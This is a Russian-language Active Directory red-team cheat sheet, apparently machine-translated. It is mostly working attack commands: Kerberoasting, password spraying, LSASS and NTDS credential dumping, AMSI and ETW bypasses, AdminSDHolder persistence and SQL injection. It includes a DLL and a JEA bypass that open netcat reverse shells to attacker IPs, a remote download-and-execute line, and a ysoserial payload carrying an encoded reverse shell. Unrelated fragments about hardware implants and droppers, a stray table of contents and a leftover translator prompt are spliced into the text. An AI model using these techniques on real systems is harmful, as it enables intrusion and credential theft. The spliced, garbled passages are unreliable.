
Шпаргалка Red Team в постоянном расширении.

Вы можете поддержать меня 🐱 :
Эта шпаргалка по атакам на AD, созданная RistBS, вдохновлена репозиторием Active-Directory-Exploitation-Cheat-Sheet.
Инструменты PowerShell:
[⭐] Nishang -> https://github.com/samratashok/nishangNishang содержит множество полезных скриптов для тестирования Windows в среде PowerShell.
PowerView — это скрипт из набора PowerSploit, который позволяет проводить разведку архитектуры AD для возможного латерального перемещения.
Инструменты разведки:
[⭐] Bloodhound -> https://github.com/BloodHoundAD/BloodHound[⭐] crackmapexec -> https://github.com/byt3bl33d3r/CrackMapExeНабор инструментов для эксплуатации AD:
[⭐] Impacket -> https://github.com/SecureAuthCorp/impacket[⭐] kekeo -> https://github.com/gentilkiwi/kekeoИнструменты для дампа:
[⭐] mimikatz -> https://github.com/gentilkiwi/mimikatz[⭐] rubeus -> https://github.com/GhostPack/RubeusИнструмент для прослушивания:
[⭐] responder -> https://github.com/SpiderLabs/ResponderPS-Session:```powershell #METHOD 1 $c = New-PSSession -ComputerName 10.10.13.100 -Authentication Negociate -Credential $user Enter-PSSession -Credential $c -ComputerName 10.10.13.100
$pass = ConvertTo-SecureString 'Ab!Q@aker1' -asplaintext -force $cred = New-Object System.Management.Automation.PSCredential('$user, $pass') Enter-PSSession -Credential $c -ComputerName 10.10.13.100
### PSWA Злоупотребление
позволяет любому, у кого есть учетные данные, подключаться к любой машине и любой конфигурации
**[ ! ] это действие требует учетных данных.**```powershell
Add-PswaAuthorizationRule -UsernName * -ComputerName * -ConfigurationName *
с помощью PowerView :```powershell Get-NetUser –SPN
> с помощью [AD Module](https://docs.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps) :```powershell
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
MapTrust :```powershell Invoke-MapDomainTrust
**Доверительные отношения домена для текущего домена :**
> с помощью [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) :```powershell
Get-NetDomainTrust #Find potential external trust
Get-NetDomainTrust –Domain $domain
с использованием AD Module :```powershell Get-ADTrust Get-ADTrust –Identity $domain
### Обследование леса
**Подробности о текущем лесе :**```powershell
Get-NetForest
Get-NetForest –Forest $forest
Get-ADForest
Get-ADForest –Identity $domain
Список GPO```powershell Get-NetGPO Get-NetGPO -ComputerName $computer Get-GPO -All Get-GPResultantSetOfPolicy -ReportType Html -Path C:\Users\Administrator\report.html
### Перечисление ACL и ACE
**Перечисление всех ACE**```powershell
Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID
$_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq
$("$env:UserDomain\$env:Username")) {$_}}
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUsers"}
*Проверить, есть ли у пользователя SPN :*
> используя [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) :```powershell
Get-DomainUser -Identity supportuser | select serviceprincipalname
используя AD Module :```powershell Get-ADUser -Identity supportuser -Properties ServicePrincipalName | select ServicePrincipalName
### LDAP Перечисление```powershell
ldapsearch -x -h 10.10.10.x -p 389 -s base namingcontexts
ldapsearch -h 10.10.10.x -p 389 -x -b "dc=boxname,dc=local"
найти учетные записи служб```powershell ldapsearch -h 10.10.10.161 -p 389 -x -b "dc=box,dc=local" | grep "service"
*Перечисление с помощью ldapsearch в качестве аутентифицированного пользователя*```powershell
ldapsearch -x -h ldap.megacorp.corp -w '$pass'
ldapsearch -x -h 10.10.131.164 -p 389 -b "dc=megacorp,dc=corp" -D '[email protected]' -w 'vs2k6!'
ldapsearch -D "cn=binduser,ou=users,dc=megacorp,dc=corp" -w 'J~42%W?]g' -s base namingcontexts
ldapsearch -D "cn=binduser,ou=users,dc=megacorp,dc=corp" -w 'J~42%W?]g' -b 'dc=megacorp'
Перечисление с помощью ldapdomaindump (аутентифицированный) с удобным выводом``` ldapdomaindump 10.10.197.117 -u 'megacorp.corp\john' -p '$pass' --no-json --no-grep
*Перечисление с помощью скриптов nmap*```bash
nmap -p 389 --script ldap-search 10.10.10.x
nmap -n -sV --script "ldap*" -p 389 10.10.10.x
nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='MEGACORP.CORP',userdb=/usr/share/wordlists/seclists/Usernames/Names/names.txt 10.10.13.100
перечисление с помощью crackmapexec без аутентификации```bash crackmapexec smb 10.10.10.x --pass-pol -u '' -p ''
*разведка с crackmapexec (аутентифицированный)*```powershell
crackmapexec smb 10.10.11.129 --pass-pol -u usernames.txt -p $pass --continue-on-sucess
crackmapexec smb 10.10.11.129 --pass-pol -u xlsx_users -p $pass --continue-on-sucess
перечисление с помощью kerbrute против брутфорса pre-auth Kerberos:```bash /opt/kerbrute/dist/kerbrute_linux_amd64 userenum -d megacorp.local --dc 10.10.13.100 -o kerbrute.out users.txt /opt/kerbrute/dist/kerbrute_linux_amd64 userenum -d megacorp.htb --dc 10.10.13.100 -o kerbrute.out users.lst --downgrade
> по умолчанию kerbrute использует самый безопасный режим (18 = sha1) для получения некоторого хеша. Используя опцию понижения версии, мы можем получить устаревшую версию типа шифрования (23 = rc4hmac). Или вместо этого используйте getNPusers для получения хеша, это безопаснее!
*предоставьте пароль или список паролей для проверки пользователей*```bash
crackmapexec smb 10.10.13.100 --pass-pol -u users.lst -p password_list
Перечислить некоторых пользователей```bash crackmapexec smb 10.10.13.100 -u users.txt -p $pass --users | tee userlist.txt
### Распыление паролей на домене```bash
/opt/kerbrute/dist/kerbrute_linux_amd64 passwordspray -d MEGACORP.CORP --dc 10.10.13.100 users.lst '$pass'
Дамп домена, групп и пользователей с помощью Bloodhound-Python:```bash bloodhound-python -c all -u $user -p $password -d $domain -dc $dc_domain -ns $ip --disable-pooling -w1 --dns-timeout 30
Настройка Bloodhound:```bash
sudo neo4j console
sudo bloodhound
Глобальная структура :``` S-1-5-21-40646273370-24341400410-2375368561-1036
- `S-1-5-21`: **S означает SID (идентификатор безопасности)**
- `40646273370-24341400410-2375368561`: **Идентификатор домена или локального компьютера**
- `1036`: **RID (относительный идентификатор)**
*Структура SID пользователя :*
- `S-1-5-21-40646273370-24341400410-2375368561`: **SID домена**
- `1036`: **RID пользователя**
> используя [Crackmapexec](https://github.com/byt3bl33d3r/CrackMapExec) :```bash
cme smb $target -u $username -p $password --rid-brute
используя lookupsid :```bash lookupsid.py MEGACORP/$user:'$password'@$target 20000
Значение "20000" в lookupsid указывает, сколько RID будет проверено
## Повышение привилегий
### Имитация токена
> Техника имитации токена позволяет выдать себя за пользователя, украв его токен. Этот токен позволяет использовать данную технику благодаря процессам SSO, интерактивному входу в систему, запущенным процессам...
> с помощью [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) :
*list tokens*```powershell
# Show all tokens
Invoke-TokenManipulation -ShowAll
# show usable tokens
Invoke-TokenManipulation -Enumerate
Запустить новый процесс с токеном пользователя```powershell Invoke-TokenManipulation -ImpersonateUser -Username "domain\user"
*манипуляция токенами процесса*```powershell
Invoke-TokenManipulation -CreateProcess "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe -ProcessId $id
используя Incognito :
загрузить incognito и перечислить токены :```bash meterpreter > use incognito meterpreter > list_tokens -g
*токен олицетворения "NT AUTHORITY\SYSTEM" :*```powershell
meterpreter > getuid
Server username: job\john
meterpreter > impersonate_token "BUILTIN\Administrators"
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Перечислить пользователей, уязвимых для Kerberoasting```powershell Get-DomainUser -SPN | select name,serviceprincipalname
> используя [impacket](https://github.com/SecureAuthCorp/impacket) :```powershell
GetUserSPNs.py -outputfile kerberoastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/USER:Password'
с помощью crackmapexec```powershell crackmapexec ldap $target -u $user -p $password --kerberoasting kerberoastable.txt --kdcHost $kdc
*взломать хэш :*```bash
# using JTR :
john --format=krb5tgs spn.txt --wordlist=wordlist.txt
# using hashcat :
hashcat -m 13100 -a 0 spn.txt wordlist.txt --force
Enumerate asreproastable user```powershell Get-DomainUser -PreauthNotRequired | select name
- **Razer** - Аппаратный дизайн для беспроводного импланта на базе RP235x, подключаемого через скрытый USB-C кабель.
- **Facet** - Аппаратный дизайн для проводного импланта на базе RP235x, подключаемого через USB-C.
- **Mouthy** - Аппаратный дизайн для сквозного USB-C импланта на базе RP235x, действующего как устройство-посредник.
- **NimBLE-BTHost** - RX/Bluetooth Hydrofirmware на основе открытого стека NimBLE, разработанная для работы канала C2 с точным управлением.
## Стейджеры/Дропперы
- **Shard** - Стейджер на Python, который может загружать указанную вторую стадию через HTTPS-канал C2, выполнять её и очищать после себя.
- **Badger** - Высокополиморфный дроппер, написанный на Rust и скомпилированный в бинарный файл с позиционно-независимым кодом (PIC), который загружает указанную вторую стадию через HTTPS-канал C2 и запускает её.```powershell
GetNPUsers.py -format hashcat -outputfile ASREProastables.txt -dc-ip $kdc '$domain/$user:$password' -request
взлом хэша :
hashcat -m 18200 -a 0 hash wordlist.txt --force
Перечислить пользователей в этой группе :```powershell
Get-NetGroupMember -GroupName "DNSAdmins"
Get-ADGroupMember -Identity DNSAdmins
*Эта атака заключается во внедрении вредоносной произвольной DLL и перезапуске службы dns.exe,
так как DC выступает в качестве DNS-службы, мы можем повысить наши привилегии до DA.*
> DLL файл :```c
#include "stdafx.h"
#include <stdlib.h>
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
system("c:\\windows\\system32\\spool\\drivers\\color\\nc.exe -e cmd.exe 10.10.14.51 5555");
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
вы также можете создать файл dll с помощью msfvenom: msfvenom -p windows/x64/exec cmd='net user administrator aked /domain' - f dll > evil.dll
он выполнит net user administrator aked /domain с привилегиями SYSTEM
укажите путь к удаленному DLL в реестре Windows```powershell dnscmd dc01 /config /serverlevelplugindll \10.10.14.33\share\evil.dll
`\\10.10.14.33\share\evil.dll` : SMB-ресурс.
**перезапустить службу DNS**```powershell
sc.exe stop dns
sc.exe start dns
использует аутентификацию kerberos```powershell impacket-wmiexec -k -no-pass [email protected]
## Извлечение учетных данных
### Извлечение LSASS```powershell
cme <protocol> <ip> -u <user> -p <pass> -M lsassy
- [timeouted/tyre](#TIME--OUT-tyre)
- [timeouted/tbauth](#TIME--OUT-tbauth)
- [timeouted/tbm](#TIME--OUT-tbm)
- [timeouted/tbnotifs](#TIME--OUT-tbnotifs)
- [technowlogy/osticket](#technowlogy-osticket)
- [technowlogy/servicenow](#technowlogy-servicenow)
- [technowlogy/wordpress](#technowlogy-wordpress)
- [technowlogy/php](#technowlogy-php)
- [technowlogy/python](#technowlogy-python)
- [technowlogy/javascript](#technowlogy-javascript)
- [technowlogy/selenium](#technowlogy-selenium)```powershell
smbclient.py MEGACORP.LOCAL/[email protected]
# use C$
# cd Windows\Temp
# put procdump.exe
ПРИМЕЧАНИЕ ⚠️ ПРЕДУПРЕЖДЕНИЕ: Это экспериментальная реализация```powershell psexec.py MEGACORP.LOCAL/[email protected] "C:\Windows\Temp\procdump.exe -accepteula -ma lsass C:\Windows\Temp\lsass.dmp"
```powershell
smbclient.py MEGACORP.LOCAL/[email protected]
# get lsass.dmp
парсить учётные данные с помощью mimikatz```powershell sekurlsa::minidump lsass.dmp sekurlsa::logonpasswords
Вы можете сделать это локально с помощью mimikatz, используя: `sekurlsa::logonpasswords`.
### Дамп NTDS
**Злоупотребление DRSUAPI для дампа NTDS**```powershell
crackmapexec smb 10.10.13.100 -u 'Administrator' -p $password --ntds drsuapi
Злоупотребление VSS для дампинга NTDS
с помощью Crackmapexec :```powershell crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --ntds vss
*вы можете сделать это вручную тоже.*```powershell
vssadmin create shadow /for=C:
copy $ShadowCopyName\Windows\NTDS\NTDS.dit C:\Windows\Temp\ntds.dit.save
vssadmin delete shadows /shadow=$ShadowCopyId
dump DPAPI BK```bash dpapi.py backupkeys -t $domain/$user:$password@$target
> Расшифровать DPAPI MK```bash
# Decrypt DPAPI MK using BK
dpapi.py masterkey -file "/path/to/masterkey" -pvk "/path/to/backup_key.pvk"
# Decrypt DPAPI MK using MK password and user SID
dpapi.py masterkey -file "/path/to/masterkey" -sid $USER_SID -password $mk_password
расшифровка защищенного файла с помощью MK```bash dpapi.py credential -file "/path/to/protected_file" -key $MASTERKEY
*crack DPAPI master key with JTR*```bash
python DPAPImk2john.py --sid="$SID" --masterkey="$MASTER_KEY" --context="local"
john dpapimk.dmp --wordlist=/usr/share/wordlists/rockyou.txt --rules=custom.rule
вы можете использовать mimikatz с этой командой: lsadump::secrets
сохраните куст SYSTEM и SAM в другую директорию```powershell reg save HKLM\SAM c:\path\to\SAM reg save HKLM\SYSTEM c:\path\to\SYSTEM
Please provide the Markdown content to translate.```powershell
lsadump::sam /system:c:\path\to\SYSTEM /sam:c:c:\path\to\SAM
или просто используйте : lsadump::sam
[ 📝 ] Notes : вы можете сдампить SAM и LSA с помощью crackmapexec или secretdump, используя эти команды:```bash secretsdump.py 'DOMAIN/USER:PASSWORD@TARGET'
```bash
crackmapexec smb $ip -d $domain -u $user -p $password --sam/--lsa
[ ❓ ] Что такое реестр? : Реестр разделён на несколько разделов, называемых кустами. Куст реестра — это корневой ключ реестра верхнего уровня, предопределённый системой Windows для хранения ключей реестра для определённых целей. Каждый куст реестра имеет определённые цели, существует 6 кустов реестра: HKCU, HKLM, HKCR, HKU, HKCC и HKPD. Наиболее интересными кустами реестра в пентестинге являются HKU и HKLM.
HKEY_LOCAL_MACHINE называется HKLM и включает три ключа: SAM, SYSTEM и SECURITY.
сброс SYSTEM и SECURITY удалённо из HKLM :```bash secretsdump.py local -system SYSTEM -security SECURITY -ntds ntds.dit -outputfile hashes
> дамп реестра HKU удаленно с аргументом hashes :```bash
impacket-reg -hashes :34ed87d42adaa3ca4f5db34a876cb3ab domain.local/john.doe@job query -keyName HKU\\Software
HKU\Software
HKU\Software\GiganticHostingManagementSystem
HKU\Software\Microsoft
HKU\Software\Policies
HKU\Software\RegisteredApplications
HKU\Software\Sysinternals
HKU\Software\VMware, Inc.
HKU\Software\Wow6432Node
HKU\Software\Classes
$user = 'USER' $gmsa = Get-ADServiceAccount -Identity $user -Properties 'msDS-ManagedPassword' $blob = $gmsa.'msDS-ManagedPassword' $mp = ConvertFrom-ADManagedPasswordBlob $blob $cred = New-Object System.Management.Automation.PSCredential $user, $mp.SecureCurrentPassword
*gMSA дамп:*```bash
python3 gMSADumper.py -u $user -p $password -d $domain.local
```
## Взлом хэшей
> LM :```bash
# using JTR :
john --format=lm hash.txt
# using hashcat :
hashcat -m 3000 -a 3 hash.txt
```
> Примечание :```bash
# using JTR :
john --format=nt hash.txt --wordlist=wordlist.txt
# using hashcat :
hashcat -m 1000 -a 3 hash.txt
```
> NTLMv1 :```bash
# using JTR :
john --format=netntlmv1 hash.txt
# using hashcat :
hashcat -m 5500 --force -a 0 hash.txt wordlist.txt
```
> NTLMv2 :```bash
# using JTR :
john --format=netntlmv2 hash.txt
# using hashcat :
hashcat -m 5600 --force -a 0 hash.txt wordlist.txt
```
заметка : некоторые типы хэшей в hashcat зависят от **etype**
## Брутфорс пароля AD
### Пользовательский список имен пользователей и паролей
список паролей по умолчанию (pwd_list) :
`
Autumn
Spring
Winter
Summer
````bash
for i in $(cat pwd_list); do echo $i, echo ${i}\!; echo ${i}2019; echo ${i}2020 ;done > pwds
haschat --force --stdout pwds -r /usr/share/hashcat/rules/base64.rule
haschat --force --stdout pwds -r /usr/share/hashcat/rules/base64.rule -r /usr/share/hashcat/rules/toogles1.r | sort u
haschat --force --stdout pwds -r /usr/share/hashcat/rules/base64.rule -r /usr/share/hashcat/rules/toogles1.r | sort u | awk 'length($0) > 7' > pwlist.txt
```
список имен пользователей по умолчанию (users.list) :```
john doe
paul smith
jacaques miller
```
создавайте собственные имена пользователей с помощью username-anarchy :```bash
./username-anarchy --input-file users.list --select-format first,first.last,f.last,flast > users2.list
```
## Пивотинг
**Пивотинг с WDFW через пользовательские правила**```powershell
netsh interface portproxy add v4tov4 listenaddress=LOCAL_ADDRESS listenport=LOCALPORT connectaddress=REMOTE_ADDRESS connectport=REMOTE_PORT protocol=tcp
```
*разрешить соединения с локальным портом*```powershell
netsh advfirewall firewall add rule name="pivot like a pro" protocol=TCP dir=in localip=LOCAL_ADDRESS localport=LOCAL_PORT action=allow
```
### SMB Pipes
**Локальные/удаленные порты могут быть перенаправлены** с помощью **SMB-каналов**. Для этого можно использовать [Invoke-Piper](https://github.com/p3nt4/Invoke-Piper) или [Invoke-SocksProxy](https://github.com/p3nt4/Invoke-SocksProxy).
- `Invoke-Piper` : *используется для перенаправления локальных или удаленных портов*
- `Invoke-SocksProxy` : *используется для динамического перенаправления портов*
**Случай 1** *Перенаправление локального порта через канал для Pivot: `-L 33389:127.0.0.1:3389`*
> СТОРОНА СЕРВЕРА :```powershell
Invoke-PiperServer -bindPipe forPivot -destHost 127.0.0.1 -destPort 3389
```
> КЛИЕНТСКАЯ СТОРОНА :```powershell
Invoke-PiperClient -destPipe forPivot -pipeHost $server_ip -bindPort 33389
```
**Случай 2** *Только для администратора удаленное перенаправление портов через pipe для forPivot: `-R 33389:127.0.0.1:3389`*
> СТОРОНА СЕРВЕРА :```powershell
Invoke-PiperServer -remote -bindPipe forPivot -bindPort 33389 -security Administrators
```
> КЛИЕНТСКАЯ СТОРОНА :```powershell
Invoke-PiperClient -remote -destPipe forPivot -pipeHost $server_ip -destHost 127.0.0.1 -destPort 3389
```
**Случай 3** *Динамическое перенаправление портов с помощью Invoke-SocksProxy с forPivot в качестве NamedPipe: `-D 3333`*
> СТОРОНА СЕРВЕРА :```powershell
Invoke-SocksProxy -bindPort 3333
Invoke-PiperServer -bindPipe forPivot -destHost 127.0.0.1 -destPort 3333
```
> СТОРОНА КЛИЕНТА :```powershell
Invoke-PiperClient -destPipe forPivot -pipeHost $server_ip -bindPort 3333
```
### SharpSocks
**SharpSocks в основном используется в C2-фреймворках и работает с C2-имплантами**
*сборка сервера:*```powershell
PS> .\SharpSocksServer.exe --cmd-id=$id --http-server-uri=$uri --encryption-key=$key -v
```
### Туннелирование RDP через DVC
*общие диски:*```powershell
PS > regsvr32 UDVC-Plugin.dll
PS > subst.exe x: C:\Users\john\RDP_Tools
```
*отобразить диски:*```powershell
PS > net use x: \\TSCLIENT\X
```
Создайте сервер с SSFD.exe```powershell
PS > ssfd.exe -p 8080
```
*Перенаправление порта SSF с сервером DVC:*```powershell
PS > ./UDVC-Server.exe -c -p 8080 -i 127.0.0.1
[*] Setting up client socket
[*] Connected to: 127.0.0.1:8080
[*] Starting thread RsWc
[*] Starting thread RcWs
[*] Wait for threads to exit...
```
*SSFD в качестве SOCK-прокси*```powershell
PS > ssf.exe -D 9090 -p 31337 127.0.0.1
```
## Постоянство
### SIDHistory Injection
### AdminSDHolder и SDProp
> [ ❓ ] : С правами DA (полный контроль/права на запись) на объекте AdminSDHolder его можно использовать как механизм бэкдора/постоянства, добавив пользователя с полными правами (или другими интересными разрешениями) в объект AdminSDHolder.
Через 60 минут (когда выполняется SDPROP) пользователь будет добавлен с полным контролем в AC групп, таких как Domain Admins, фактически не являясь их членом.
> используя [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) :```powershell
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName $user -Rights All -Verbose
```
> используя [AD Module](https://docs.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps) :```powershell
Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=megacorp,DC=megacorp,DC=local' -Principal $user -Verbose
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName $user -Rights ResetPassword -Verbose
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName $user -Rights WriteMembers -Verbose
```
*Запустите SDProp вручную*```powershell
Invoke-SDPropagator -timeoutMinutes 1 -showProgress -Verbose
```
## Злоупотребление ACL и ACE
### GenericAll
**перечислить все группы, к которым принадлежит пользователь и на которые у него есть явные права доступа**```powershell
Get-DomainGroup | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID
$_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}
```
данных. Параметр `agent_id` в теле запроса определяет, какому агенту отправить задачу.```powershell
net group Administrator aker /add /domain
```
## Улучшенный обход безопасности
### Интерфейс сканирования на вредоносное ПО```powershell
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE](https://github.com/ristbs/awesome-redteam-cheatsheet/blob/HEAD/%22%7B1%7D%7B0%7D%22-F%27F%27,%27rE%27) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
```
патчинг AMSI из Powershell6 :```powershell
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('s_amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
### ConstrainLanguageMode
Обход CLM с помощью **runspace**:```cs
static void Main(string[] args){
Runspace run = RunspaceFactory.CreateRunspace();
run.Open();
PowerShell shell = PowerShell.Create();
shell.Runspace = run;
String cmd = "iex(new-object net.webclient).DownloadString('http://10.10.14.33/script')";
shell.AddScript(cmd);
shell.Invoke();
run.Close();
}
```
### Just Enough Administration
> показать текущий уровень языков :```powershell
# METHOD 1
(Get-PSSessionConfiguration -Name Test).LanguageMode
# METHOD 2
$ExecutionContext.SessionState.LanguageMode # use property
```
> Обход JEA в ConstrainedLanguage :```powershell
{ C:\Windows\System32\spool\drivers\color\nc.exe -e powershell.exe 10.10.14.33 9003 }
```
### ExecutionPolicy```powershell
powershell -ExecutionPolicy Bypass -File C:\script.ps1
```
> обход EP с помощью кодирования :```powershell
$command = "Write-Host 'hello world'"; $bytes = [System.Text.Encoding]::Unicode.GetBytes($command);$encoded = [Convert]::ToBase64String($bytes); powershell.exe -EncodedCommand $encoded
```
### RunAsPPL для дампа учетных данных
[ ❓ ] : [RunAsPPL](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection) является **дополнительной защитой LSA** для предотвращения чтения памяти и внедрения кода **незащищенными процессами**.
> обход RunAsPPL с помощью mimikatz :```
mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # misc::skeleton
mimikatz # !-
```
### Отключение ETW```powershell
[Reflection.Assembly]:https://raw.githubusercontent.com/ristbs/awesome-redteam-cheatsheet/HEAD/:LoadWithPartialName(%27System.Core%27).GetType(%27System.Diagnostics.Eventing.EventProvider%27).GetField(%27m_enabled%27,%27NonPublic,Instance%27).SetValue(%5BRef%5D.Assembly.GetType(%27System.Management.Automation.Tracing.PSEtwLogProvider%27).GetField(%27etwProvider%27,%27NonPublic,Static%27).GetValue($null),0)
```
you can try obfuscation techniques on this command. To learn more about ETW see my course [here](https://github.com/RistBS/Active-directory-Cheat-sheet/blob/exploit-development/FR%20-%20ETW%20Bypassing.md)
## MS Exchange
### OWA EWS и EAS Password Spraying
> с помощью [MailSniper](https://github.com/dafthack/MailSniper/blob/master/MailSniper.ps1) :```powershell
# OWA (Outlook web App)
Invoke-PasswordSprayOWA -ExchHostname $domain -UserList .\users.txt -Password $password
# EAS (Exchange ActivSync)
Invoke-PasswordSprayEAS -ExchHostname $domain -UserList .\users.txt -Password $password
# EWS (Exchange Web Service)
Invoke-PasswordSprayEWS -ExchHostname $domain -UserList .\users.txt -Password $password
```
> с помощью [ruler](https://github.com/sensepost/ruler) :```bash
./ruler -domain $domain --insecure brute --userpass $userpass.txt -v
```
### Извлечение GAL и OAB
**Извлечение GAL (глобальной адресной книги)**```powershell
./ruler -k -d $domain -u $user -p $password -e [email protected] --verbose abk dump -o email_list.txt
```
> с помощью powershell :```powershell
PS C:\> Get-GlobalAddressList -ExchHostname mx.megacorp.com -UserName $domain\$user -Password $password -OutFile email_list.txt
```
**OAB (Автономная адресная книга) Извлечение**
*извлечение файла OAB.XML, содержащего записи*```bash
curl -k --ntlm -u '$domain\$user:$password' https://$domain/OAB/$OABUrl/oab.xml > oab.xml
cat oab.xml |grep '.lzx' |grep data
```
*извлечь сжатый LZX файл*```bash
curl -k --ntlm -u '$domain\$user:$password' https://$domain/OAB/$OABUrl/$OABId-data-1.lzx > oab.lzx
./oabextract oab.lzx oab.bin && strings oab.bin |egrep -o "(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*|"(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21\x23-\x5b\x5d-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])*")@(?:(?:[a-z0-9](https://github.com/ristbs/awesome-redteam-cheatsheet/blob/HEAD/?:%5Ba-z0-9-%5D*%5Ba-z0-9%5D)?\.)+[a-z0-9](https://github.com/ristbs/awesome-redteam-cheatsheet/blob/HEAD/?:%5Ba-z0-9-%5D*%5Ba-z0-9%5D)?|\[(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?|[a-z0-9-]*[a-z0-9]:(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21-\x5a\x53-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])+)\])" | sort -u > emails.txt
```
> с помощью [oaburl.py](https://gist.github.com/snovvcrash/4e76aaf2a8750922f546eed81aa51438) :```powershell
./oaburl.py $domain/$user:[email protected] -e [email protected]
```
### PrivExchange
**[PrivExchange](https://github.com/dirkjanm/PrivExchange) использует функцию PushSubscription; пользователь может перехватить данные аутентификации NTLM сервера Exchange простым вызовом API PushSubscription.**```bash
responder -I eth0 -Av
python3 privexchange.py -d $domain -u $user -p $password -ah -ap '/test/test/test' mx.server.com --debug
```
### ProxyLogon
**[ProxyLogon](https://github.com/hausec/ProxyLogon) — это название, данное CVE-2021-26855, которое позволяет атакующему обойти аутентификацию и выдать себя за пользователей на серверах MS Exchange**```bash
python proxylogon.py $ip user@fqdn
```
> используя metasploit:```bash
use auxiliary/scanner/http/exchange_proxylogon
use auxiliary/gather/exchange_proxylogon
use exploit/windows/http/exchange_proxylogon_rce
```
### CVE-2020-0688
эта уязвимость позволяет выполнить удаленный код (RCE) на EWS через фиксированные криптографические ключи
*Получение значений для RCE :*
- *ViewStateUserKey* : `document.getElementById("_VIEWSTATEGENERATOR").value`
- *ViewStateGenerator* : `ASP.NET_SessionId````powershell
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -exec bypass -enc JHNtPShOZXctT2JqZWN0IE5ldC5Tb2NrZXRzLlRDUENsaWVudCgiMTAuMTAuMTQuOSIsOTAwNikpLkdldFN0cmVhbSgpO1tieXRlW11dJGJ0PTAuLjY1NTM1fCV7MH07d2hpbGUoKCRpPSRzbS5SZWFkKCRidCwwLCRidC5MZW5ndGgpKSAtbmUgMCl7OyRkPShOZXctT2JqZWN0IFRleHQuQVNDSUlFbmNvZGluZykuR2V0U3RyaW5nKCRidCwwLCRpKTskc3Q9KFt0ZXh0LmVuY29kaW5nXTo6QVNDSUkpLkdldEJ5dGVzKChpZXggJGQgMj4mMSkpOyRzbS5Xcml0ZSgkc3QsMCwkc3QuTGVuZ3RoKX0=" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy
```
## MSSQL Server
### UNC Path Injection
[ ❓ ] : Uniform Naming Convention __позволяет обмениваться ресурсами__ в сети через очень точный синтаксис: `\IP-Server\shareName\Folder\File`
запуск responder: `responder -I eth0````sql
EXEC master..xp_dirtree \"\\\\192.168.1.33\\\\evil\";
```
```sql
1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';--
```
### MC-SQLR Отравление
*Протокол разрешения SQL Server — это простой протокол прикладного уровня, используемый для передачи запросов и ответов между клиентами и службами обнаружения серверов баз данных.*```vbs
CreateObject("ADODB.Connection").Open "Provider=SQLNCLI11;Data Source=DOESNOTEXIST\INSTANCE;Integrated Security=SSPI;"
```
> мы захватили хэш **Administrator** с помощью этого VBA-скрипта.```python
[+] Listening for events...
[*] [LLMNR] Poisoned answer sent to 10.10.14.33 for name doesnotexist
[MSSQL-BROWSER] Sending poisoned browser response to 10.10.14.33
[*] [LLMNR] Poisoned answer sent to 10.10.14.33 for name doesnotexist
[*] [LLMNR] Poisoned answer sent to 10.10.14.33 for name doesnotexist
[MSSQL] NTLMv2 Client : 10.1.2.3
[MSSQL] NTLMv2 Username : TEST\Administrator
